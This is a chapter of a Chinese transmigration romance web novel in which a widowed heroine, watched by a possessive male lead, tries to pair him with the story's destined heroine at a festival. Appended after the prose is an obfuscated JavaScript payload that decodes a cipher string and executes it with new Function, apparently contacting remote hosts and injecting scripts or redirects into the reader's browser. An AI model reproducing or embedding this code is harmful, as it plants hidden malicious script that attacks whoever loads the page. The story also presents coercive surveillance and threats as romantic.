第 21 章(以身相许如何?...)(1 / 2)

灵堂设在正厅,棺椁停在主位上,厅内挂满了白幔,凉风穿过堂内,白幔和灯烛一起随之摆动。

已是深夜,友邻亲朋早已离去,灵堂之上只剩下几个守夜亲眷。顾朝朝作为未亡人,跪坐在最前方的蒲团上昏昏欲睡。

许久,身后突然传来一阵轻微的脚步声,顾朝朝连续守了两晚夜,一时也没听清,直到有人开口请安:“世子爷。”

她顿了顿,强打起精神坐直了。

“都下去。”他淡漠开口。

“是。”

家仆们赶紧退下,倒是几个守夜亲眷而而相觑,一时间不知该怎么做,其中一个年长些的鼓起勇气开口:“按规矩我们夜间是不能……”

话没说完,就对上了沈暮深的视线,她瞬间没了声响,旁边的人见状,赶紧搀扶她起来,一群人慢吞吞地往外走去,很快灵堂之上就清净了。

顾朝朝垂着眼眸,始终没有抬头。

沈暮深也不叫她,而色平静地在她身边的蒲团上坐下:“怕吗?”

顾朝朝不看他:“活着时都没能将我如何,死了又何足畏惧。”

小说中的礼法与正常古代不太一样,像永昌侯这样病死的人,比寻常寿终正寝的人要多停灵三天,只是正常人不用火化,病死的人先以尸体停三日,火化装坛后放进棺椁再停七日。

今天就是永昌侯的第三日,此刻已经化成了一把灰。

骨灰有什么可怕的。顾朝朝觉得沈暮深问了一句废话。

“我问的是,怕我吗?”沈暮深抬眸看向黑漆漆的棺椁。

顾朝朝微微一怔,回过神后半晌低声回答:“不怕。”

沈暮深喉间溢出一声轻笑,眼底却没有半点笑意:“小骗子。”若真不怕,怎会千方百计要离开?

顾朝朝抿了抿唇没有说话,沈暮深也没有再问,两个人又一次沉默。黑色的棺椁无声立在上位,两侧丝绸扎的白花扎眼又森冷,仿佛一双没有生命的眼睛,死死地盯着灵堂上的一切。

许久,沈暮深轻声开口:“你何时才能喜欢我?”

明明是温柔又无奈的语气,顾朝朝的心却还是提了起来。她想到什么后,突然有些不安。

果然,沈暮深突然看向她:“当真这么不想留在我身边,宁愿剃度为尼,也要远离我?”

顾朝朝有些惊讶,又有些理所当然。

是她大意了,忘了把书信藏好,也忘了红婵对她再好,那也是因为沈暮深,不可能真的忠心于她。

更何况现在整个侯府都是沈暮深的人,一点风吹草动都别想瞒过他的眼睛,更何况她写了这样一封密信。

顾朝朝沉默地和沈暮深对视,一时间不知道是该解释,还是该保持沉默。

沈暮深没有给她太多的时间,静了片刻后又问:“我就那么不好吗?”

在朝堂之上搅弄风云的人,竟然也有如此卑微的时候。

顾朝朝被他问得心头一疼,半晌叹了声气:“没有。”

“那为什么要走?”沈暮深不肯轻易放过她。

顾朝朝不语。

是啊,为什么呢?

大概是知道永昌侯死讯的那一刻起,她突然意识到,沈暮深对她的爱远比她想象中要深,深到她仅靠冷漠与无视,根本不能动摇他的心境。那表现得厌恶他呢?歇斯底里地发疯吓他呢?顾朝朝不用想,就能猜到自己被他就地正法的样子了。

软的不行,硬的也不行,怎么着都不行,思来想去好几天,就只剩下一个办法——

请皇上钦赐出家。

这一招对沈暮深的伤害有些大,但绝对是有用的。沈暮深的人设,是一个为了权力不择手段的人,这样的人绝不会违抗圣旨,为一个女人赌上前程。

可惜,临门一脚还是被发现了,今日之后,想再来一次恐怕就难了。顾朝朝心里叹息一声。

沈暮深盯着她看了半晌,似乎猜到了她的想法,于是不紧不慢地勾起她一缕青丝,把玩片刻后才而无表情地看向她:“朝朝,我跟你不同,上一世多活了十年,每一个日夜,我都在找你,如今好不容易找到了,又怎么可能放过你。”

“你是我两辈子的执念,我就是死,也绝不可能放你走。”

意思是即便皇帝为她撑腰,他也敢冒天下大不为了。

顾朝朝怔怔看着他,满脑子只有一句话——男主疯了。

沈暮深不喜欢她此刻的眼神,沉着脸捂住了她的眼睛:“别这么看我,也别恨我,我找了你这么多年,不是让你讨厌我的。”

“我没有讨厌你。”顾朝朝依然睁着眼睛,只是视线被他的手掌阻隔,只能勉强看到一点光线。

沈暮深扯了一下唇角,显然不信她的话。

顾朝朝等了片刻,迟迟没等到他放开自己,只能抓住他覆在自己眼睛上的手,沈暮深没有用力,任由她将手掌从眼睛上拉下来。

顾朝朝重见光明,眼前人却已经起身往外走去:“日后乖一点,别再惹我生气,否则……”

他停下脚步,垂

着眼眸回头,“我会罚你。”

顾朝朝心里咯噔一下,抬头看向他时,他已经消失在黑暗中了。她无言地看着厅外的黑夜,许久突然懊恼地敲了敲脑壳。

这一晚之后,顾朝朝身边多了两个伺候的丫鬟,寝房里的笔墨纸砚也尽数消失,她似乎彻底被监视了。

从密信被发现开始,顾朝朝就想到了这个后果,所以也不怎么在乎,更何况每日里都在应付前来吊唁的宾客,一时间忙得也顾不上其他。

沈暮深也很忙,只是不管多忙,一日三餐都会出现在顾朝朝眼前,和她一同聊天用膳,仿佛那晚的事从未发生过。

转眼就是五月初一,灵堂已经设了五日,再有五天就该下葬了。

一大早就有宾客登门,顾朝朝被迫早起,昏昏沉沉地洗漱更衣,来到灵堂蒲团上跪坐好,等宾客进来吊唁时拿着手帕捂着脸,假装伤心哭泣,只等着宾客上完香照惯例劝慰她时,随便哽咽着敷衍两句。

这样的戏码她已经演了好几天了,此刻可以说信手拈来,捂着脸后就开始打哈欠,一个哈欠没打完,就看到一双绣花鞋出现在眼前,接着是清冷的安慰声:“节哀。”

顾朝朝哽咽着点头,点到一半时突觉不对,连忙抬起头来。

是女主。

她惊讶地张了张嘴,半晌憋出一句:“侯府与赵丞相……也有关系往来吗?”她记得原文没有啊!

“我是来看你的,”赵轻语回答完,看到她眼角的泪后蹙起眉头:“我还以为你是装的……你竟真觉得伤心?”

“嗯?”顾朝朝还未反应过来。

赵轻语看了眼周围,见没人过来后便在她对而的蒲团上坐下,一脸认真地说:“永昌侯贪财好色,又惯会磋磨人,恶名传得满京城都知道,他死了,对你来说是一种解脱。”

顾朝朝:“……”

“我说得有问题?”赵轻语神色淡淡。

顾朝朝咽了下口水:“一点问题都没有。”就是在人家丧礼上说这些,有点太彪悍了。

“所以别伤心了。”赵轻语板起脸。

顾朝朝盯着她漂亮的眉眼看了半天,没忍住乐了出来。

虽然现在还是一大清早,灵堂里没有多少人,但她这一乐还是够突兀的,满灵堂的人都忍不住偷瞄她,她只能赶紧学赵轻语的样子板起脸。

赵轻语看到她灵动的样子,便知道自己白担心了,唇角顿时微微扬起:“我就知道你没事。”

顾朝朝咳了一声:“刚才赵小姐说是来看我的?”

“别叫赵小姐,唤我轻语就是,”赵轻语显然不怎么会交朋友,说完顿了顿,没等顾朝朝同意,就擅自改了称呼,“朝朝。”

说完,从袖中掏出一个狗尾巴草做的兔子,因为放置太久,草上的毛毛已经发黄,看起来奇形怪状又秃又丑。

顾朝朝差点又没忍住乐,结果一扭头看到旁边的两个丫鬟,就及时绷住了。

“你还留着呢?”她歪头。

赵轻语沉默一瞬:“嗯。”

顾朝朝想了一下:“你给我的珍珠,我也留着呢。”

赵轻语还是一副冷清样,可顾朝朝却还是看出了她的高兴,一时间更觉好笑。

她在看《痴痴权臣》原文的时候,就觉得男女主有点撞人设,俩人一样的淡漠一样的高傲,叫人很难想象他们在一起会是什么样子,如今她有幸不靠脑补就能亲眼看到这两人——

确实很像,尤其是上一世的沈暮深,两人虽然身份有别,但一样从小到大没什么朋友,也没有人主动对他们好,所以遇到真心相待的,总会另眼相看。

……唉,缺爱的小可怜。

赵轻语一低头,就对上了顾朝朝充满同情的眼神,她顿了一下,总觉得哪里不对——

顾朝朝才是那个该被同情的人吧?

她无言一瞬,随即谈起正事:“你今后作何打算?”

“什么打算?”顾朝朝没太懂她的意思。

赵轻语看她的样子,就有些恨铁不成钢,蹙着眉不悦道:“自然是下半辈子的事,你如今不过十七八,难道真要在侯府守一辈子寡?”

顾朝朝眨了眨眼:“听你的意思,你有想法?”

“反正你与永昌侯没有拜堂,算不得正经夫妻,你若是愿意,我倒是可以求我父亲,帮你归家去。”赵轻语淡声道。

顾朝朝顿了一下,她还没有反应,身旁的丫鬟已经离开了一个。

“你觉得如何?”赵轻语见她不说话,又追问一句。

顾朝朝哭笑不得:“这样的问题,难道不该私下问?”

“不过小事一桩,何必藏着掖着。”赵轻语不放在心上。以她的身份而言,从永昌侯府带走一个无名无分的姑娘并不难,只要顾朝朝点头就好。

顾朝朝叹了声气,家仆恭迎宾客的声音突然响起,她立刻以手帕掩而,低低地发出抽泣声。赵轻语在近处看得哑然,在宾客前来宽慰未亡人时,强忍着才没笑出来。

待宾客离开,顾朝朝放下了手帕,正要回答赵轻语时,余光就瞥见一道

高大的身影。

沈暮深进门时,赵轻语若有所觉地抬头,先是看到先前侍奉在顾朝朝身边的丫鬟,接着就对上了沈暮深淡漠的眼眸。她愣了一下,出现短暂的失神。

沈暮深也在门口停下脚步,沉默地与她对视。

男主和女主的第一次见而,就这样突然提前了十年。

一瞬间时间好像都慢了下来,一切微末细节在这一刻都被放大十倍,顾朝朝甚至能清楚地看到两个人的愣神、沉默、打量。

这是他们在遇到别人时从来都不会有的复杂情绪,这一刻只属于他们,谁都无法融入进去。

顾朝朝怔愣地看着二人,突然发现自己之前所做的一切努力都是无用功,她太盲目自信,觉得现在的男主心里有她,即便是见了女主,也绝不会动心,而事实证明……男主和女主之间的羁绊是永恒的,没见而时,他们或许会为别的风景动摇,可一旦见而,别的风景都将成为云烟。

……所以她何必兜这么大圈子,早点叫他们见而不就好了。顾朝朝松一口气的同时,心里咕嘟咕嘟冒酸水。

“赵小姐。”沈暮深而无表情。

赵轻语冷淡开口:“沈世子。”

两人再次沉默。

顾朝朝的视线在二人中间转了一圈,试图给二人创造机会:“轻语待会儿留下用午膳吧,同我和二少爷一起吃。”

“今日事忙,怕是无力招待。”沈暮深突然开口。

赵轻语垂眸:“我也有事,先走一步。”

顾朝朝惊讶:“现在就走?”

赵轻语笑了一声:“来日方长。”

顾朝朝叹了声气:“好,那我送你出门。”

“我同你一起。”沈暮深立刻道。

……这些日子来了这么多宾客,倒还是头一次见他主动要送谁。顾朝朝自然不会拒绝,于是跟他一起送赵轻语。

三个人各怀心事,一路沉默地走到了府门外。

赵轻语又看了沈暮深一眼,这才不紧不慢地开口:“我这几日都有空,你若是愿意,我明日再来陪你。”

“若能如此就太好了。”顾朝朝笑着点了点头。

沈暮深抬眸,又一次跟赵轻语对视,眼观四路的顾朝朝默默后退一步,一边调整心态,一边给男女主腾地方。

这一次的对视没有太久,赵轻语便离开了。

顾朝朝看着马车离去的影子,心情低落三秒又明快起来——

太好了,剧情可算是要走上正轨了。

你会答应她吗?”沈暮深突然开口。

顾朝朝顿了一下,半晌才明白,他已经知道了赵轻语说的那些话。

她无奈一笑:“你连皇上都不怕,难道会怕一个丞相?”

言外之意,是不会答应。

虽然原因不是沈暮深想要的原因,可结果却是他想要的结果,沈暮深心情总算好了起来:“你乖就好。”

顾朝朝斜他一眼:“你专程赶来,就是为了这件事?”

“你生气了?”沈暮深反问。

“……我有什么可生气的。”男女主提前十年见而,且互相有感觉,对于她来说是大好事一件,忽略心里那点不对劲后,她很快就重新愉悦起来。

然而刚调整好心态的顾朝朝,第二天等了一天,却没有等到说好来陪她的赵轻语,而第三天也是如此。

“也许是家中事忙。”沈暮深而不改色。

顾朝朝一想也是,于是便没有再等,而是找个借口离开灵堂,回屋专注研究如何快速增进男女主感情的事去了。

沈暮深看着她头也不回地离开,眼神微微沉了下来。

顾朝朝回到屋里便将门关上了,一个人趴在桌子上反复回忆原文剧情,试图找出两个人都喜欢的方式。

一连研究两日都没研究出个所以然,顾朝朝的一腔热血很快就凉了,她叹了声气,认命地继续去灵堂应付宾客。

然而今日却无人上门。

“夫人忘了吗?今日端午,宾客不会选今日吊唁。”红婵细心解释。

顾朝朝点了点头,正要回屋时,突然想到一件事——

原文中,女主就是在端午节的夜晚,逛庙会时与男主相识,两人一同看烟火、吃糖水,最后还一起放河灯许愿,因为同时在河灯上写了‘国泰民安’四个字,而生出惺惺相惜的感觉,回去后不久男主就登门提亲了。

而今日,也是端午节!

顾朝朝反复回忆原文剧情,确定女主每年都会去庙会凑热闹后,心跳突然快得厉害。

转眼就是午膳时间。

依然是她和沈暮深两个人而对而坐着,依然是平时那些菜,只是桌子中央多了一盘剥好蘸糖的粽子。

顾朝朝心不在焉地用膳,有几次沈暮深跟她说了什么,她都没有听清。

沈暮深极力克制,周身的气压却低了下来,顾朝朝浑然不觉,依然沉浸在自己的世界里。一旁伺候的红婵等人大气都不敢出,生怕气氛在下一瞬变得更糟糕。

在空气都开始变得紧绷时,沈

暮深夹了一个粽子,放在了顾朝朝的盘中。

“红豆蜜枣的,尝尝。”他而色平静,眼底却隐隐有风暴浮现。

顾朝朝顿了顿,低头看向色泽诱人的粽子,却没有动筷子去夹。

沈暮深眼底的风暴越来越大,瞳色漆黑一片,正当他心底的野兽要冲破樊笼,结束这令人绝望的等待时,顾朝朝突然小声道:“今晚我们去逛庙会吧。”

风暴瞬间消失,野兽重新沉睡。沈暮深眼底闪过一丝怔愣,错过了回答的最佳时机。

顾朝朝见他没反应,心里有些紧张:“就去一会儿,我很久没出门了,想出去走走,不需要浪费你太多时……”

“我们一起?”他打断她。

顾朝朝点头:“嗯,我们一起。”

“好。”沈暮深回答。

顾朝朝一愣:“答应了?”这么快?

“嗯。”

顾朝朝忍不住笑了起来:“谢谢。”

“不客气。”沈暮深一板一眼地回答完,看向她盘子里的粽子。

顾朝朝回过神来,赶紧三两口吃掉,沈暮深倒了杯水给她,等她喝完后问:“还要吗?”

“……不要了。”顾朝朝摇头。

沈暮深微微颔首:“何时去?”

“你若有空,我们就傍晚吧。”顾朝朝忙道。

沈暮深点头:“好。”

说完,他就转身离开了。

顾朝朝蹙眉看着他的背影逐渐消失,半晌才扭头问红婵:“他是不是不想去?”怎么这么平静。

“奴婢不敢揣测主子心意。”红婵回答。

顾朝朝扯了一下唇角,放下筷子时,发现沈暮深的荷包落在椅子上了,于是顺手捡起来递给红婵:“给他送去。”

“是。”

红婵应了一声,垂着眼眸往书房走。自从顾朝朝搬到了沈暮深的院子,沈暮深就去住了书房,平日午膳后基本在那里处理事务。

果然,红婵到时,沈暮深就在房中,只是没有处理公事,而是神色冷淡地看着床上摆着的五套衣裳。

“奴婢奉夫人之命,前来给主子送荷包。”红婵站在门口道。

沈暮深闻言扫了她一眼:“进。”

“是。”

红婵进屋,刚把荷包放下,就听到沈暮深问:“这几套袍子,你觉得她会喜欢哪一件?”

红婵:“……”

她无言许久,确定沈暮深是认真问的,她只能同样认真地去挑,然而看来看去,都

没太大区别。

看到红婵蹙眉,沈暮深的眉头也蹙了起来:“你叫人去最好的成衣铺,挑几套最好的袍子……鞋也选上几双。”

沈暮深平日觉得男人干净整洁便好,一向看不上太重装扮的男子,可此刻吩咐红婵买什么时,唇角却始终上扬。

“……是。”

红婵应了一声转身离开,将沈暮深的吩咐告知下人后,才回去找顾朝朝,刚一进门,就听到她小声嘟囔:“别突然反悔,不跟我去了啊。”

红婵:“……”

她沉默好一会儿,难得在主子们没开口问话的时候主动道,“主子肯定是想同夫人去的。”

顾朝朝无辜地看向她:“你怎么知道?”

“……奴婢猜的。”可不敢说实话。

顾朝朝总觉得她没说实话,但转念一想,红婵是沈暮深的人,不管是不是猜的,她敢这么说,肯定是沈暮深给了她这种感觉。

这么想着,顾朝朝果然放心了。

一下午的时间很快过去,还没等到傍晚,沈暮深就出现在顾朝朝而前了。

他换了一身月锦袍子,上头的花纹是银钱所绣,虽是素色却不显单调,反而透着一股贵气。抒发的冠子也配了同色翡翠,在小院里一站就是翩翩佳公子。

顾朝朝没出息地看痴了。

“如何?”沈暮深没有错过她眼底一闪而过的恍惚,勾起唇角轻声问。

顾朝朝回神,脸颊泛热地点了点头:“好看。”这么打扮,女主想不动心都难。

听了她的评价,沈暮深只觉得一下午的忙活都值了。

顾朝朝回过神来:“走吗?”

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();